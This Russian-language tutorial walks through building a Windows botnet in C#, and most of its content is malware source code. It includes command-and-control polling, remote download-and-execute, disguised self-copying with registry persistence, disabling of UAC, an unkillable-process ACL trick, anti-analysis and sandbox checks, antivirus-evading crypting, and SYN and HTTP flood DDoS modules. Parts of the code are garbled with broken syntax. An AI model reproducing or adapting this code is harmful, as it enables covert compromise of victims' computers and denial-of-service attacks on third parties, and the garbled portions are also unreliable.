Создаем свой ботнет

Создаем свой ботнет


https://t.me/ih_a_c_k_e_r





Миф 1: Крутой ботнет должен содержать много всяких плюшек (DDOS, лайки в вк, вызов калькулятора =)).

Опровергаем: Хороший ботнет это тот, который не падает и справляется со своей задачей. Поэтому, как и любой продукт сначала необходимо писать МИНИМАЛЬНО - НЕОБХОДИМЫЙ функционал, так как программиста очень тяжело остановить и ему хочется писать всё больше и больше кода. Это неправильно. Написать необходимо сначала каркас и возможность расширения функционала. Этим путем пойдем и мы. Ботнет должен работать сразу и писаться максимум за два – три дня.


Миф 2: Ботнет обязательно для DDOS – атак.

Опровергаем: Это тоже не верное суждение. Да, ботнеты обычно используются для DDOS атак и мы рассмотрим типы DDOS атак и даже напишем свои модули, но не это главное. Лично я использую ботнет для распределенного быстрого подбора хеш функций, брута сервисов и т.п. Так как согласитесь, на сколько бы быстрый не был бы Ваш процессор, 100 000 машин сбрутят быстрее чем 1 машина. И это лишь немногое, как его можно использовать


Миф 3: Написать ботнет – сложно и требует клоссальных знаний программирования и сетевых технологий.

Опровергаем: Отчасти это так, но на самом деле не нужно быть выдающимся программистом с великим стажем. Хватит понимания общих сетевых протоколов (такие HTTP), немного знаний криптографии (SSL), и уровень программирования хотя бы на понимание ООП.


Итак, что же такое ботнет? Это несколько машин, объединённых одним командным центром, для скрытой эксплуатации ресурсов выгодных владельцу ботнета.


Пожалуй, хватит разговоров, пора к делу:

Требования к сегодняшнему релизу:

1) Создать билд который по указанному пути будет брать команду для ботов

2) Реализовать возможность копирования самого себя в автозагрузку и на этой стадии ограничимся копированием билда в другом каталог.

3) ByPass Uac и AV

4) Запретить завершение процесса.

5) Реализовать поддержку первый команды «Update» - команда которая просто будет обновлять наш текущий клиент, новой версией.

6) Небольшую обфускацию исходников, чтобы нас не отреверсили так просто.


Понеслась….


Создаем новый консольный проект.

Далее меняем в настройках проекта на приложение для Windows (Лайвхак, чтобы создать пустое приложение без поддержки телеметрии).

А вот теперь переходим в вопросы архитектуры.

Создаем папку Services в которой будет хранится наша бизнес логика и при добавлении новых возможностей в эту папку будем добавлять папки с новыми сервисами и классами. Начнем с первого пункта ТЗ. Создаим сервис «FileManager», который будет читать команду по ссылке, а также интерфейс.

Далее код, для начала создадим заглушку на командном сервере (index.php).


<?php

echo 'update';


Вспоминаем наше ТЗ

Создать билд, который по указанному пути будет брать команду для ботов

Для этого в наш сервис добавляем следующий код


public class FileManager : IFileManager
    {
        public string GetCommandByUrl(string url)
        {
            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
            return new StreamReader(response.GetResponseStream()).ReadToEnd();
        }

  }




А в программу добавим

private static string _url = @"URL/index.php"; (тут наша заглушка пока)
     private const int interval = 10000; // 1000 seconds ~ 16 minutes
            while (true)
            {
                Thread.Sleep(interval);
                var command = _fileService.GetCommandByUrl(_url);

                if (command.Equals("update"))
                {
                    WebClient myWebClient = new WebClient();
                    myWebClient.DownloadFile(_url, "update.exe");
                    _fileService.RemoveFile();
                    _fileService.CopyFile("update.exe");
                }
          }




Профит:

Реализовать возможность копирования самого себя в автозагрузку и на этой стадии ограничимся копированием билда в другом каталог. 

Создаем в FileManager новый метод

public void CopyFile(string fileName = "")
        {
            if (String.IsNullOrEmpty(fileName))
            {
                fileName = Assembly.GetExecutingAssembly().Location;
                return;
            }

            File.Copy(fileName, @"C:\Windows\srvhost.exe");
        }
void CopyFile(string fileName = @"C:\Windows\srvhost.exe");




Добавляем в Program.cs

  public static void Main(string[] args)
        {
            IFileManager _fileService = new FileManager();
            _fileService.CopyFile();
RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
            rkApp.SetValue("MyApp", @"C:\Windows\srvhost.exe");




Запретить завершение процесса;

Здесь тоже всё достаточно просто новый сервис и добавляем в Program proc.block

Глянем в ProcessManager

  public class ProcessManager
    {
        [DllImport("advapi32.dll", SetLastError = true)]
        static extern bool GetKernelObjectSecurity(IntPtr Handle, int securityInformation, [Out] byte[] pSecurityDescriptor,
uint nLength, out uint lpnLengthNeeded);

        public static RawSecurityDescriptor GetProcessSecurityDescriptor(IntPtr processHandle)
        {
            const int DACL_SECURITY_INFORMATION = 0x00000004;
            byte[] psd = new byte[0];
            uint bufSizeNeeded;
            // Call with 0 size to obtain the actual size needed in bufSizeNeeded
            GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, psd, 0, out bufSizeNeeded);
            if (bufSizeNeeded < 0 || bufSizeNeeded > short.MaxValue)
                throw new Win32Exception();
            // Allocate the required bytes and obtain the DACL
            if (!GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION,
            psd = new byte[bufSizeNeeded], bufSizeNeeded, out bufSizeNeeded))
                throw new Win32Exception();
            // Use the RawSecurityDescriptor class from System.Security.AccessControl to parse the bytes:
            return new RawSecurityDescriptor(psd, 0);
        }

        [DllImport("advapi32.dll", SetLastError = true)]
        static extern bool SetKernelObjectSecurity(IntPtr Handle, int securityInformation, [In] byte[] pSecurityDescriptor);

        public static void SetProcessSecurityDescriptor(IntPtr processHandle, RawSecurityDescriptor dacl)
        {
            const int DACL_SECURITY_INFORMATION = 0x00000004;
            byte[] rawsd = new byte[dacl.BinaryLength];
            dacl.GetBinaryForm(rawsd, 0);
            if (!SetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, rawsd))
                throw new Win32Exception();
        }

        [DllImport("kernel32.dll")]
        public static extern IntPtr GetCurrentProcess();

        [Flags]
        public enum ProcessAccessRights
        {
            PROCESS_CREATE_PROCESS = 0x0080, //  Required to create a process.
            PROCESS_CREATE_THREAD = 0x0002, //  Required to create a thread.
            PROCESS_DUP_HANDLE = 0x0040, // Required to duplicate a handle using DuplicateHandle.
            PROCESS_QUERY_INFORMATION = 0x0400, //  Required to retrieve certain information about a process, such as its token, exit code, and priority class (see OpenProcessToken, GetExitCodeProcess, GetPriorityClass, and IsProcessInJob).
            PROCESS_QUERY_LIMITED_INFORMATION = 0x1000, //  Required to retrieve certain information about a process (see QueryFullProcessImageName). A handle that has the PROCESS_QUERY_INFORMATION access right is automatically granted PROCESS_QUERY_LIMITED_INFORMATION. Windows Server 2003 and Windows XP/2000:  This access right is not supported.
            PROCESS_SET_INFORMATION = 0x0200, //    Required to set certain information about a process, such as its priority class (see SetPriorityClass).
            PROCESS_SET_QUOTA = 0x0100, //  Required to set memory limits using SetProcessWorkingSetSize.
            PROCESS_SUSPEND_RESUME = 0x0800, // Required to suspend or resume a process.
            PROCESS_TERMINATE = 0x0001, //  Required to terminate a process using TerminateProcess.
            PROCESS_VM_OPERATION = 0x0008, //   Required to perform an operation on the address space of a process (see VirtualProtectEx and WriteProcessMemory).
            PROCESS_VM_READ = 0x0010, //    Required to read memory in a process using ReadProcessMemory.
            PROCESS_VM_WRITE = 0x0020, //   Required to write to memory in a process using WriteProcessMemory.
            DELETE = 0x00010000, // Required to delete the object.
            READ_CONTROL = 0x00020000, //   Required to read information in the security descriptor for the object, not including the information in the SACL. To read or write the SACL, you must request the ACCESS_SYSTEM_SECURITY access right. For more information, see SACL Access Right.
            SYNCHRONIZE = 0x00100000, //    The right to use the object for synchronization. This enables a thread to wait until the object is in the signaled state.
            WRITE_DAC = 0x00040000, //  Required to modify the DACL in the security descriptor for the object.
            WRITE_OWNER = 0x00080000, //    Required to change the owner in the security descriptor for the object.
            STANDARD_RIGHTS_REQUIRED = 0x000f0000,
            PROCESS_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFF),//    All possible access rights for a process object.
        }
        public void block()
        {
            // Get the current process handle
            IntPtr hProcess = GetCurrentProcess();
            // Read the DACL
            var dacl = GetProcessSecurityDescriptor(hProcess);
            // Insert the new ACE
            dacl.DiscretionaryAcl.InsertAce(
            0,
            new CommonAce(
            AceFlags.None,
            AceQualifier.AccessDenied,
            (int)ProcessAccessRights.PROCESS_ALL_ACCESS,
            new SecurityIdentifier(WellKnownSidType.WorldSid, null),
            false,
            null)
            );
            // Save the DACL
            SetProcessSecurityDescriptor(hProcess, dacl);
        }
    }




Теперь наш процесс сможет убить только опытный пользователь.

Профит: При нажатии на кнопку снять задачу получаем.

Для того чтобы забайпассить UAC нужно в реестре просто отключить его проверку.

var readWriteSubTree = Microsoft.Win32.RegistryKeyPermissionCheck.ReadWriteSubTree;
            Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
                , readWriteSubTree);
            key.SetValue("ConsentPromptBehaviorAdmin", 0);




Байпассить AV на этом этапе пока не нужно, так как билд чистый, сигнатуры неизвестны, антивирусы не видят.

Скан здесь

Реализовать поддержку первый команды «Update» - команда которая просто будет обновлять наш текущий клиент, новой версией.

 if (command.Equals("update"))
                {
                    WebClient myWebClient = new WebClient();
                    myWebClient.DownloadFile(_url, "update.exe");
                    _fileService.RemoveFile();
                    _fileService.CopyFile("update.exe");
                }




Небольшую обфускацию исходников, чтобы нас не отреверсили так просто.

Качаем .Net Reactor и ставим Protect. В дальнейших статьях рассмотрим собственные обфускаторы с помощью рефлексии.

Сравним обфусцированный и необфусцированный билды

Видим как билд палится без проблем

Вспоминаем наш метод Main, который теперь вот так выглядит в dotPeek

Что мы сделаем сегодня? 

  • Сегодня мы отрефакторим наш код.
  • Добавим DDOS атаку;
  • Добавим шифрование (Stub);
  • Добавим Executor;
  • Добавим функционал посещения нужной нам страницы
  • Добавим функционал удаления.

Приступим……

Так как в первой части статьи мы рассмотрели основы основ, то теперь пришло время создать готовый клиент.

Для начала взглянем на видоизмененную архитектуру проекта и теперь она выглядит так:

Как мы видим добавлены другие сервисы и разбита архитектура, впрочем, это пока картинка. Давайте же в ней разбираться.

Рассмотрим основные компоненты Ботнета – это командный сервис, Persistence, Antiresearch, DDOS, Stub, Config.

Класс конфига.

using Botnet.Services.Common;
using System;
using System.Diagnostics;
using System.IO;
using System.Text;

namespace Botnet.Congif
{
    public static class Config
    {
        private static Factory _factoryService = new Factory();
        private static string SplitSymbol = ";;;;";
        private static string CryptPW = "Codeby";
        public static bool AntiCain = true;
        public static bool AntiSandboxie = true;
        public static bool AntiDebugger = true;
        public static bool AntiEmulator = true;
        public static bool AntiFilemon = true;
        public static bool AntiNetstat = true;
        public static bool AntiNetworkmon = true;
        public static bool AntiProcessmon = true;
        public static bool AntiRegmon = true;
        public static bool AntiTCPView = true;
        public static bool AntiVirtualBox = true;
        public static bool AntiVMWare = true;
        public static bool AntiWireshark = true;
        public static bool DisableUAC = true;
        public static string[] FileName = new string[2] { "audiohd.exe", "svhost.exe" };
        public static string[] RegName = new string[2] { "Windows-Audio-Driver", "Microsoft SQL Server 2016" };
        public static string[] FilePath = new string[2];
        public static string ServerAddress = @"http://THISYOUURL/index.php";
        public static string Mutex = _factoryService.GenString(new Random().Next(8, 20));
        public static string BotVersion = "1.0";
        public static int ConnectionInterval = 10;
        public static int PersistentInterval = 30;
        public static string HWID = string.Empty;
        public static string WinVersion = string.Empty;
        public static string PCName = Environment.MachineName;
        public static bool AdminStatus = false;

        public static void LoadInfos()
        {
            const int LengthByte = 460;
            const int ByteReplaceTo = 0x20;

            string stub = String.Empty;
            using (StreamReader reader = new StreamReader(Process.GetCurrentProcess().MainModule.FileName.ToString()))
            {
                stub = reader.ReadToEnd();
            }
            try
            {
                stub = stub.Substring((stub.Length - LengthByte), LengthByte).Replace(Convert.ToChar(0x00), Convert.ToChar(ByteReplaceTo)).Trim();
                byte[] bytesData = Convert.FromBase64String(stub);
                Cryptography.RC4(ref bytesData, CryptPW);

                string[] data = Encoding.Default.GetString(bytesData).Split(new string[] { SplitSymbol }, StringSplitOptions.None);

                ServerAddress = data[1];
                ConnectionInterval = int.Parse(data[2].Trim());
                Mutex = data[4].Trim();
            }
            catch { Environment.Exit(0); }
        }
    }
}



В основном - это набор свойств, которые мы включаем/отключаем для ботнета, в том числе URL. Включаем антиотладочные модули, включаем персистенс, устанавливаем ключ для стаба Mutex. PersistenceInterval – параметр, который включает наш бот при антиотладке и устанавливает бот в автозагрузку.


Модуль AntiReserch

На самом деле, я обошелся без сложных WinApi функций, перехвата хуков и просто закрываю собственный билд, вот как раз для этого нам и нужен интервал для персистенса.

Некоторые кодовые моменты:

С помощью

_factoryService.CheckProcess("TCPVIEW")



– ловим открытые процессы и если обнаруживаем их, то закрываем.

if (Debugger.IsAttached) { Terminate(); return; } 



– смотрим, не под отладчиком ли наша программа.

sModul.Contains("sbiedll.dll")



– находим песочницу антивируса.

А вот с помощью драйвера видео графики узнаем не под виртуалкой ли мы.

Таким образом получаем примерно следующий код:

    public class AntiResearch
    {
        Factory _factoryService = new Factory();
        SystemService _systemService = new SystemService();
        public void StartAntiResearch()
        {
            string graphicAdapter = _systemService.GetGraphicDevice();

            if (Config.AntiDebugger)
            {
                try
                {
                    if (Debugger.IsAttached) { Terminate(); return; }
                }
                catch { }
            }

            if (Config.AntiSandboxie)
            {
                try
                {
                    foreach (string sModul in Process.GetCurrentProcess().Modules)
                    {
                        if (sModul.Contains("sbiedll.dll")) { Terminate(); return; }
                    }
                }
                catch { }
            }

            if (Config.AntiEmulator)
            {
                try
                {
                    long lTicks = DateTime.Now.Ticks;
                    Thread.Sleep(10);
                    if ((DateTime.Now.Ticks - lTicks) < 10L) { Terminate(); return; }
                }
                catch { }
            }

            if (Config.AntiNetstat)
            {
                try
                {
                    if (_factoryService.CheckProcess("NETSTAT")) { Terminate(); return; }
                }
                catch { }
            }

            if (Config.AntiFilemon)
            {
                try
                {
                    if (_factoryService.CheckProcess("FILEMON")) { Terminate(); return; }
                }
                catch { }
            }

            if (Config.AntiProcessmon)
            {
                try
                {
                    if (_factoryService.CheckProcess("PROCMON")) { Terminate(); return; }
                }
                catch { }
            }

            if (Config.AntiRegmon)
            {
                try
                {
                    if (_factoryService.CheckProcess("REGMON")) { Terminate(); return; }
                }
                catch { }
            }

            if (Config.AntiNetworkmon)
            {
                try
                {
                    if (_factoryService.CheckProcess("NETMON")) { Terminate(); return; }
                }
                catch { }
            }

            if (Config.AntiTCPView)
            {
                try
                {
                    if (_factoryService.CheckProcess("TCPVIEW")) { Terminate(); return; }
                }
                catch { }
            }

            if (Config.AntiWireshark)
            {
                try
                {
                    if (_factoryService.CheckProcess("WIRESHARK")) { Terminate(); return; }
                }
                catch { }
            }

            if (Config.AntiVMWare)
            {
                try
                {
                    if (_systemService.GetGraphicDevice() == "VMware SVGA II") { Terminate(); return; }
                }
                catch { }
            }

            if (Config.AntiVirtualBox)
            {
                try
                {
                    if (graphicAdapter == "VirtualBox Graphics Adapter") { Terminate(); return; }
                }
                catch { }
            }
        }

        private void Terminate()
        {
            Environment.Exit(0);
        }
    }



Напоминаю, что _systemService, _factoryService – наши собственные сервисы, реализацию которых я скрою от скрипткиди. Они очень не сложные там методы проверки на существование файла или процесса. 

Поговорим о стабах. 

Итак, чтобы байпассить антивирусы мы будем использовать криптографию через стабы. То есть использовать некоторый набор сигнатур с помощью которых будем шифровать билд алгоритмом RC4. Сам стаб представляет из себя отдельную DLL, которая подгружается в решение вместе ботнетом. Код стаба так же будет скрыт, но представляет из себя строку, зашифрованную в base64, и один метод который её возвращает. В строке хранятся уникальный шифр, номер бота, имя машины и сервер. 

Взглянем на код персистенса 

public class Persistence
    {
        Factory _factoryService = new Factory();
        private Timer timer = new Timer();
        private string selfPath = Process.GetCurrentProcess().MainModule.FileName;

        public void StartPersistent()
        {
            timer.Interval = Config.PersistentInterval * 0x3e8;
            timer.Elapsed -= new ElapsedEventHandler(SetPersistence);
            timer.Start();
        }

        public void StopPersistent()
        {
            timer.Stop();
            timer.Dispose();
        }

        public void SetPersistence(object source, ElapsedEventArgs eArgs)
        {
            RegistryKey key;
            if (Config.AdminStatus)
            {
                try
                {
                    key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
                    setAutoRunRegistry(key, 0);
                }
                catch { }

                try
                {
                    key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Policies\Explorer\Run", true);
                    setAutoRunRegistry(key, 1);
                }
                catch { }
            }
            else
            {
                try
                {
                    key = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Run", true);
                    setAutoRunRegistry(key, 0);
                }
                catch { }

                try
                {
                    key = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Policies\Explorer\Run", true);
                    setAutoRunRegistry(key, 1);
                }
                catch { }
            }


            foreach (string path in Config.FilePath)
            {
                try
                {
                    if (!_factoryService.CheckFile(path))
                    {
                        File.Copy(selfPath, path);
                        File.SetAttributes(path, FileAttributes.Hidden);
                    }
                }
                catch { }
            }

        }

        /// <param name="index">Индекс номер имени массива из конфига RegMon</param>
        private void setAutoRunRegistry(RegistryKey key, byte index)
        {
            if (!key.Equals(Config.RegName[index])
                || (key.Equals(Config.RegName[index])
                && !key.GetValue(Config.RegName[index]).ToString().Contains(Config.FilePath[index]))
            )
            {
                key.SetValue(Config.RegName[index], ('"' + Config.FilePath[index] + '"'));
            }
        }
    }



Здесь особо ничего принципиально – нового, записываем в реестр наш билд и копируем его в другое место в скрытом виде.

Метод первичной установки бота 

Я его уже описал выше, поэтому как это выглядит.....

private void InstallBot()
        {
            string selfPath = Process.GetCurrentProcess().MainModule.FileName;
            Process pProcess;

            if (Config.AdminStatus)
            {
                Config.FilePath[0] = Environment.GetFolderPath(Environment.SpecialFolder.System) + @"\" + Config.FileName[0];
                Config.FilePath[1] = Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles) + @"\" + Config.FileName[1];
            }
            else
            {
                Config.FilePath[0] = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\" + Config.FileName[0];
                Config.FilePath[1] = Environment.GetEnvironmentVariable("TEMP") + @"\" + Config.FileName[1];
            }

            if (!checkInstall())
            {
                try
                {
                    foreach (string path in Config.FilePath)
                    {
                        if (!_factoryService.CheckFile(path))
                        {
                            File.Copy(selfPath, path);
                        }
                        File.SetAttributes(path, FileAttributes.Hidden);
                    }
                }
                catch { }

                if (Config.AdminStatus)
                {
                    try
                    {
                        Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Run", true).SetValue(Config.RegName[0], ('"' + Config.FilePath[0] + '"'));
                        Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run", true).SetValue(Config.RegName[1], ('"' + Config.FilePath[1] + '"'));
                    }
                    catch { }
                }
                else
                {
                    try
                    {
                        Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Run", true).SetValue(Config.RegName[0], ('"' + Config.FilePath[0] + '"'));
                        Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run", true).SetValue(Config.RegName[1], ('"' + Config.FilePath[1] + '"'));
                    }
                    catch { }
                }

                try
                {
                    yMutex.Close();

                    foreach (string sFile in Config.FilePath)
                    {
                        pProcess = new Process();
                        pProcess.StartInfo.FileName = sFile;
                        pProcess.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
                        pProcess.Start();
                    }
                }
                catch { }

                Environment.Exit(0);
            }
        }



Взглянем еще на один блок кода. 

ByPass Uac, отлично работает в Win8, суть в том, что на реестр может влиять локальный админ или с группы сервисов, практический всегда пользователь создается с этими правами.

        private void DisableProcedures()
        {
            try
            {
                Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced", true).SetValue("Hidden", "2", RegistryValueKind.DWord);
            }
            catch { }

            if (Config.DisableUAC)
            {
                try
                {
                    Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced", true).SetValue("EnableBalloonTips", "0", RegistryValueKind.DWord);
                }
                catch { }

                try
                {
                    Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", true).SetValue("EnableLUA", "0", RegistryValueKind.DWord);
                    Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", true).SetValue("EnableLUA", "0", RegistryValueKind.DWord);
                }
                catch { }
            }
        }



SYN – Flood атака. Идея атаки в том, что мы посылаем огромное количество SYN пакетов, а так как SYN пакет необязательно должен быть завершен мы не ждем его завершения, таким образом заполняем пул подключений достаточно быстро.

public static class SYNFlood
    {
        private static Thread[] floodingThread;
        public static string Host;
        public static ushort Port;
        public static int ISSockets;
        public static int ThreadsCount;

        public static void StartSYNFlood()
        {
            IPEndPoint IPEo;

            try
            {
                IPEo = new IPEndPoint(Dns.GetHostEntry(Host).AddressList[0], Port);
            }
            catch
            {
                IPEo = new IPEndPoint(IPAddress.Parse(Host), Port);
            }

            floodingThread = new Thread[ThreadsCount];
            ThreadStart[] floodingJob = new ThreadStart[ThreadsCount];
            SYNRequest[] SYNClass = new SYNRequest[ThreadsCount];

            for (int i = 0; i < ThreadsCount; i++)
            {
                SYNClass[i] = new SYNRequest(IPEo, ISSockets);
                floodingJob[i] = new ThreadStart(SYNClass[i].Send);
                floodingThread[i] = new Thread(floodingJob[i]);
                floodingThread[i].Start();
            }
        }

        public static void StopSYNFlood()
        {
            for (int i = 0; i < ThreadsCount; i++)
            {
                try
                {
                    floodingThread[i].Abort();
                    floodingThread[i].Join();
                }
                catch { }
            }
        }

        private class SYNRequest
        {
            private IPEndPoint IPEo;
            private Socket[] pSocket;
            private int iSSockets;

            public SYNRequest(IPEndPoint tIPEo, int tSSockets)
            {
                this.IPEo = tIPEo;
                this.iSSockets = tSSockets;
            }

            private void OnConnect(IAsyncResult ar)
            {
            }

            public void Send()
            {
                int iNum;
                while (true)
                {
                    try
                    {
                        pSocket == new Socket[iSSockets];

                        for (iNum = 0; iNum < iSSockets; iNum++)
                        {
                            pSocket[iNum] = new Socket(IPEo.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
                            pSocket[iNum].Blocking = false;
                            AsyncCallback aCallback = new AsyncCallback(OnConnect);
                            pSocket[iNum].BeginConnect(IPEo, aCallback, pSocket[iNum]);
                        }

                        Thread.Sleep(100);

                        forr (iNum = 0; iNum <<< iSSockets; iNum++)
                        {
                            if (pSocket[iNum].Connected)
                            {
                                pSocket[iNum].Disconnect(false);
                            }
                            pSocket[iNum].Close();
                            pSocket[iNum] = null;
                        }

                        pSocket = null;
                    }
                    catch
                    {
                        forr (iNum = 0; iNum < iSSockets; iNum++)
                        {
                            try
                            {
                                if (pSocket[iNum].Connected)
                                {
                                    pSocket[iNum].Disconnect(false);
                                }
                                pSocket[iNum].Close();
                                pSocket[iNum] = null;
                            }
                            catch { }
                        }
                    }
                }
            }
        }
    }
}



HTTP-флуд - это наиболее распространенная flood атака. Просто шлем огромное количество пакетов на определенный скрипт, желательно использовать грамотно и пулять на самый медленный скрипт. 

using System.Net;
using System.Threading;

namespace Botnet.DDoS
{
    internal static class HttpFlood
    {
        private static Thread[] floodingThread;
        public static string Host;
        public static int ThreadCount;
     
        public static void StartHTTPFlood()
        {
            floodingThread = new Thread[ThreadCount];
            ThreadStart[]] floodingJob = new ThreadStart[ThreadCount];
            HTTPRequest[]] requestClass = new HTTPRequest[ThreadCount];

            if (!Host.StartsWith("http://")) { Host = "http://" + Host; }

            for (int i = 0; i < ThreadCount; i++)
            {
                requestClass[i] == new HTTPRequest(Host);
                floodingJob[i] == new ThreadStart(requestClass[i].Send);
                floodingThread[i] == new Thread(floodingJob[i]);
                floodingThread[i].Start();
            }
        }

        public static void StopHTTPFlood()
        {
            for (int i = 0; i < ThreadCount; i++)
            {
                try
                {
                    floodingThread[i].Abort();
                    floodingThread[i].Join();
                }
                catch { }
            }
        }

        private class HTTPRequest
        {
            private WebClient wHTTP = new WebClient();

            public HTTPRequest(string tHost)
            {
                this.sFHost = tHost;
            }

            public void Send()
            {
                while (true)
                {
                    try
                    {
                        wHTTP.DownloadString(sFHost);
                    }
                    catch
                    {
                        continue;
                    }
                }
            }
        }
    }
}



ICMP – FLOOD

Копирайт с википедии

(с)ICMP-сообщение (эхо-запрос) обрабатывается сетевым оборудованием третьего (и выше) уровня. В большинстве случаев это оборудование использует программные средства маршрутизации и обработки пакетов. При этом эхо-запрос требует от устройства принятия пакета, его обработки и формирования/отправки пакета с ответом на запрос. (с)

Аналогично UDP FLOOD

Ну и осталось взглянуть на командный центр

using System;
using System.Diagnostics;
using System.Net;
using Botnet.DDoS;
using Botnet.Services.Common;
using Botnet.Congif;
using Botnet.Services.Manager;
using System.IO;

namespace Botnet.Services.Command
{
    public class CommandService : ICommandService
    {
        Factory _factoryService = new Factory();
        Bot _botService = new Bot();
        public void ExecuteCommand(string command)
        {
            string[] data = new string[0];
            try
            {
                data = command.Split(';');
            }
            catch { }

            switch (data[0])
            {
                case "ddossyn":
                    try
                    {
                        SYNFlood.Host = data[1];
                        SYNFlood.Port = ushort.Parse(data[2]);
                        SYNFlood.ISSockets = int.Parse(data[3]);
                        SYNFlood.ThreadsCount = int.Parse(data[4]);
                        SYNFlood.StartSYNFlood();
                    }
                    catch { }
                    break;
                .............................................................................
                case "download":
                    try
                    {
                        WebClient client = new WebClient();
                        string tempName = _factoryService.GenString(new Random().Next(5, 12)) + ".exe";
                        string url = data[1];
                        if (!url.StartsWith("http://")) { url = "http://" + url; }
                        client.DownloadFile(url, Environment.GetEnvironmentVariable("TEMP") + @"\" + tempName);
                        Process process = new Process();
                        process.StartInfo.FileName = Environment.GetEnvironmentVariable("TEMP") + @"\" + tempName;
                        process.Start();
                    }
                    catch { }
                    break;
                case "visit":
                    try
                    {
                        string sURL = data[1];
                        if (!sURL.StartsWith("http://")) { sURL = "http://" + sURL; }
                        GET(sURL);
                    }
                    catch (Exception e) {  }
                    break;
                case "update":
                    try
                    {
                        string sURL = data[1];
                        if (!sURL.StartsWith("http://")) { sURL = "http://" + sURL; }
                        _botService.UpdateBot(sURL);
                    }
                    catch { }
                    break;
                case "remove":
                    if ((data[1] == Config.PCName) || (data[1].ToUpper() == "ALL"))
                    {
                        _botService.RemoveBot();
                    }
                    break;
                case "stop":
                    try { SYNFlood.StopSYNFlood(); } catch { }
                    try { HttpFlood.StopHTTPFlood(); } catch { }
                    try { UDPFlood.StopUDPFlood(); } catch { }
                    try { ICMPFlood.StopICMPFlood(); } catch { }
                    break;
            }
        }

        private string GET(string url)
        {
            HttpWebRequest req == (HttpWebRequest) WebRequest.Create(url);
            req.Method == "GET";
            req.ContentType == "application/x-www-form-urlencoded";
            WebResponse resp == req.GetResponse();
            string Out = "";
            using (Stream stream = resp.GetResponseStream())
            {
                using (StreamReader sssr = new StreamReader(stream))
                {
                    Out = sr.ReadToEnd();
                }
            }
            return Out;
        }
    }
}



А вот так мы будем мониторить команду в отдельном потоке.

public void ConnectControl()
        {
            Thread recvThread == new Thread(new ThreadStart(getCCServerCommand));
            recvThread.Start();
        }

        private void getCCServerCommand()
        {
            while (true)
            {
                try
                {
                    string command = GetRequest(Config.ServerAddress);

                    if (command.Length >>> 0)
                    {
                        if (command !===== sOldCommand)
                        {
                            _commandService.ExecuteCommand(command);
                            sOldCommand = command;
                        }
                    }
                    else
                    {
                        _commandService.ExecuteCommand("stop");

                        sOldCommand = string.Empty;
                    }
                }
                catch { }

                Thread.Sleep((int))))(Config.ConnectionInterval * 0x3e8));
            }
        }



На этом техническая часть окончена. Рассмотрим практическую. 

Напишем на стороне сервера скрипт на php, который будет считать количество посещений.

Для этого изменим наш скрипт на стороне клиента:

echo 'visit;http://URL/CoDEbY.php';


Теперь заглянем в файл Codeby.php

<?php

  file_put_contents('res.txt', 'Было посещение');


Таким образом бот получает команду пройти по нужной ссылке. В комбинации с CSRF с помощью этой фитчки можно творить великие вещи, но не об этом…..

Разкоментим блок установки бота и посмотрим на процесс и в реестр.

Изменим конфиг следующим образом для наглядности.

public static string[] FileName = new string[2] { "bot.exe", "bot2.exe" };
public static string[] RegName = new string[2] { "THIS IS BOTNET", "THIS IS BOTNET2" };



Итак после установки бот прописывается в автозагрузку БЕЗ прав админа. 

Однако в процессах никак не светится, это достигнуто техникой, описанной в моей статье DLL Injection. Сорцы инжектора находятся отдельно от бота (так же под приватом от скрипт кидисов) и выходят за рамки этой статьи.

Напоследок скан Антивируса/


Report Page